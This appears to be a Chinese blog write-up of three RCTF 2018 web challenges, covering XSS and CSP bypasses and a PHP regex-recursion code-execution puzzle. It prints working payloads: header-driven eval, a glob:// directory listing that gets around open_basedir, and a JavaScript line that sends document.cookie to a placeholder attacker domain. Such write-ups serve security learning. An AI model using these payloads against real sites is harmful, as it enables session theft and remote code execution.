RCTF2018 WP

感觉自己好久没更了。。

最近看了RCTF的WEB题,感觉好多前端。。然而前端并不是很会,于是趁着这个机会稍稍补了一些前端知识。又跟着大佬的wp复现了一下,收获不少,总结一下。

AMP

参考了

1、https://ctftime.org/writeup/10101

2、https://xz.aliyun.com/t/2347

进入页面,首先根据提示可以给一个参数name,输入?name=ichigo得到

RCTF2018 WP_第1张图片

RCTF2018 WP_第2张图片


我们得到了提示,flag在管理员的cookie中,猜想应该是XSS。

我们测试一下?name=,发现并没有执行

RCTF2018 WP_第3张图片

看一下源码,我们注意到这里存在这CSP,因为我们无法得知随机生成的nonce值,所以我们的脚本无法执行。

RCTF2018 WP_第4张图片

注:

关于CSP推荐两篇文章

http://www.freebuf.com/articles/web/116836.html

http://www.ruanyifeng.com/blog/2016/09/csp.html

以及推荐一篇大佬的文章,我从这里才大概明白了CSP的一些技巧:

https://blog.csdn.net/publicStr/article/details/79787943

虽然可以通过一些方法绕过CSP,但对于本题不适用。

于是将注意力转移到注释,会不会是因为AMP标准?


学习AMP标准,我参考了https://xz.aliyun.com/t/2347中所提到的两篇文章

https://zh.wikipedia.org/zh-hans/Accelerated_Mobile_Pages

https://www.ampproject.org/zh_cn/docs/fundamentals/spec

RCTF2018 WP_第5张图片

如果发现cookie已经设置,则会被替换。

这样就有思路了,我们可以将名字设为

?name=

关于domain的问题,我选择使用ngork来将本机ip解析到公网上。因为之前对XSS不熟悉,这个工具找了好久2333

最后得到flag:

RCTF2018 WP_第6张图片

r-cursive

参考了https://www.jianshu.com/p/03f16d014667

首先进入页面看到代码:

RCTF2018 WP_第7张图片

于是我们设置参数?action=go

得到代码

RCTF2018 WP_第8张图片
我们试一下 ?cmd=phpinfo(); 可以执行

RCTF2018 WP_第9张图片

接下来审计代码

关键在这里,说明只能匹配型如 a(b(c(...))) 的字符串。

关于(?R)

这里我卡了很久,最后问了大佬得知这是PHP中的一种递归模式,可以去php文档中查一下。

丢个网址:http://php.net/manual/zh/regexp.reference.recursive.php

但是类似这样的命令是很有限的,我们要做到任意命令执行。因为header是我们可控的,所以可以通过如

cmd=eval(next(getallheaders()))这样来通过修改header来执行命令。

测试一下:

RCTF2018 WP_第10张图片

发现执行成功。

接下来我们要找到flag存在的文件,即需要遍历目录,但是这里有open_basedir限制

我们把header中的命令改为:

if($dh=opendir("glob:///var*/www*/sandbox*/*")){while(($file=readdir($dh))!==false){echo"$file\n";}closedir($dh);} 

这里有个问题,为什么要 /var*/www*/... 而不是 /var/www/?

我最初以为两者都可以 但是实际测试了一下发现结果并非如此:

RCTF2018 WP_第11张图片

RCTF2018 WP_第12张图片

不带*号是无法遍历目录的。

很迷,只能问大佬,这里大佬又甩出来一篇博文,

https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html

看完大概明白这是一种open_basedir方法:

Open_basedir是PHP设置中为了防御PHP跨目录进行文件(目录)读写的方法,所有PHP中有关文件读、写的函数都会经过open_basedir的检查。Open_basedir实际上是一些目录的集合,在定义了open_basedir以后,php可以读写的文件、目录都将被限制在这些目录中。

而用/*/这种方法可以绕过open_basedir,不会受到限制!

这样大概明白了。猜测flag存在于init.php中,我们要读取init的源码。

经过测试我们知道我们所访问的index.php存在于每个token文件夹中,而init.php在上级目录。

尝试file_get_contents()一下,失败了,没有权限。

RCTF2018 WP_第13张图片

注意到

RCTF2018 WP_第14张图片

Host是我们的token加上.sandbox.....

会不会是因为我们的权限只在这个token文件夹中?

于是我们修改一下host和请求的url,得到flag。

RCTF2018 WP_第15张图片

rBlog 2018

参考了https://ctftime.org/writeup/10100

进入页面

RCTF2018 WP_第16张图片

每个里面都输入测试一下,得到

RCTF2018 WP_第17张图片

查看一下网页源代码:

RCTF2018 WP_第18张图片

发现在title中存在XSS。

注意到


存在CSP方法,抓个包看一下:

RCTF2018 WP_第19张图片

放进CSP Evaluator看一下

RCTF2018 WP_第20张图片

发现在CSP的限制里,base-url 缺失,

那是否可以通过什么办法让服务器加载的js文件是我们可以控制的js文件呢?

首先看一下是否会对我们本地发起请求:

title中填入

测试一下:

RCTF2018 WP_第21张图片

发现果然对我们的本地发起了请求,请求的文件正是

/assets/js/jquery.min.js

于是我们可以在本地构造一个js文件,让js文件路径和原路径保持一致,js文件内容为:

location.href="your domain ?"+document.cookie;

再测试一下,得到flag:

RCTF2018 WP_第22张图片




你可能感兴趣的:(WEB,writeup)